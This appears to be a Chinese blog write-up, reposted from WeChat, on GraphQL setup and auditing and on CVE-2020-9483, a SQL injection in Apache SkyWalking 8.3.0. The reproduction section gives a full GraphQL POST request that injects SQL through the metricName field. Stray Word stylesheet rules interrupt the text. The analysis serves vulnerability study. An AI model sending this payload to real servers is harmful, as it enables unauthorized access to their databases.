0x01 熟悉Graphql
0x01.1 Graphql环境搭建
通过springboot搭建graphql环境,pom.xml内容如下:
其中graphql-java-tools包是处理graphql请求,也就是提供graphql接口并处理相关请求,graphiql-spring-boot-starter提供web界面,访问http://ip:port/ graphiql就能查看界面:
Bean类:
服务类:
查询类:
schema.graphqls,这里面的内容就是和bean类对应:
root.graphqls,这里面的内容就是和查询类相关联:
添加启动类启动就完成了graphql的搭建:
启动后访问http://127.0.0.1/graphiq,就能和graphql进行交互操作:
Graphql之所以会出现就是因为能够根据你想要的内容按需返回,比如下面这种只需要返回id和name,就可以这样,不像RESTfulapi只能返回全部,由前端选择返回的内容显示:
0x01.2 Graphql审计点
审计graphql接口问题其实就是审计查询类相关的接口函数,最终的web请求到达的是继承于GraphQLQueryResolver的类,然后在这里有自定义的查询方法进入业务内容,本例中就是AuthorQuery下的findAuthorById方法,在该方法下打断点之后,在浏览器发包就会进入到该方法:
0x02 CVE-2020-9483漏洞分析
0x02.1 环境搭建
直接下载:
https://archive.apache.org/dist/skywalking/8.3.0/apache-skywalking-apm-8.3.0.tar.gz
然后解压进入bin目录执行startup.sh:
![漏洞分析 | Apache SkyWalking SQL注入漏洞分析]()
访问
http://127.0.0.1:8080/就能看到SkyWalking的界面:如果需要远程调试则,在/bin/oapService.sh中的JAVA_OPTS里面添加调试参数后重启:
0x02.2 漏洞复现
@font-face{
font-family:"Times New Roman";
}
@font-face{
font-family:"宋体";
}
@font-face{
font-family:"等线";
}
@font-face{
font-family:"Menlo";
}
p.MsoNormal{
mso-style-name:正文;
mso-style-parent:"";
margin:0pt;
margin-bottom:.0001pt;
mso-pagination:none;
text-align:justify;
text-justify:inter-ideograph;
font-family:等线;
mso-bidi-font-family:'Times New Roman';
font-size:10.5000pt;
mso-font-kerning:1.0000pt;
}
span.msoIns{
mso-style-type:export-only;
mso-style-name:"";
text-decoration:underline;
text-underline:single;
color:blue;
}
span.msoDel{
mso-style-type:export-only;
mso-style-name:"";
text-decoration:line-through;
color:red;
}
@page{mso-page-border-surround-header:no;
mso-page-border-surround-footer:no;}@page Section0{
}
div.Section0{page:Section0;}
POST /graphql HTTP/1.1
Host: 127.0.0.1:8080
Content-Type: application/json;charset=utf-8
Content-Length: 313
Connection: close
{
"query":"query queryLogs($condition: LogQueryCondition) {
queryLogs(condition: $condition) {
total
logs {
serviceId
serviceName
isError
content
}
}
}
",
"variables":{
"condition":{
"metricName":"INFORMATION_SCHEMA.USERS union all select h2version())a where 1=? or 1=? or 1=? --",
"endpointId":"1",
"traceId":"1",
"state":"ALL",
"stateCode":"1",
"paging":{
"pageSize":10
}
}
}
}
0x02.3 漏洞分析
这个请求所对应graphqls文件是query-graphql-plugin-8.3.0.jar 包中的log.graphqls文件:
与这个对应的接口方法在query-graphql-plugin-8.3.0.jar中的org.apache.skywalking.oap.query.graphql.resolver.LogQuery方法中:
在queryLogs方法上下断点,发包就会进入该方法:
接下来会进入到
org.apache.skywalking.oap.server.core.query.LogQueryService#queryLogs
里面,这里会调用Dao层方法,也就是数据库方法:
这里的dao层方法是执行H2db的SQL语句的方法:
org.apache.skywalking.oap.server.storage.plugin.jdbc.h2.dao.H2LogQueryDAO#queryLogs
在H2LogQueryDAO中直接将metricName拼接到SQL语句中就造成了SQL注入漏洞:
到达执行SQL语句的地方:
接下来就会执行输入的SQL语句达到SQL注入的效果:
END
原文始发于微信公众号(杂七杂八聊安全):漏洞分析 | Apache SkyWalking SQL注入漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论